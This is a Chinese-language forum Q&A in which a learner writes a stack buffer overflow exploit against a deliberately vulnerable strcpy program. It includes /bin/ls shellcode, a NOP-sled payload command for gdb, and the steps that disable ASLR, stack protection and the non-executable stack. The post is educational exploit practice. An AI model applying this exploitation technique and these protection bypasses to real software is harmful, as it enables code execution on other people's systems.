我正在尝试学习在 Backtrack Linux 上利用简单的缓冲流技术。
这是我的 C 程序
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
这是我正在使用的shellcode,它对应于简单的/bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89 \xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
我使用以下命令将此 shellcode 注入 gdb 中
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
当我逐步执行该应用程序时,它会生成SIG FAULT
决赛时ret
操作说明。在那时候EIP
正确设置为0xffffd30c
。该地址是可寻址的并且包含一系列NOP
,后面是我的 shell 代码,如有效负载中所示。
我已经禁用了 ASLRsudo echo 0 > /proc/sys/kernel/randomize_va_space
还使用编译了我的二进制文件fno-stack-protector
option.
知道 SIGSEGV 的原因是什么吗?
我已经回答了我自己的问题,问题是“可执行堆栈保护”,堆栈内存中无法执行。这可以在 gcc 中禁用,如下所示
gcc -z execstack
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)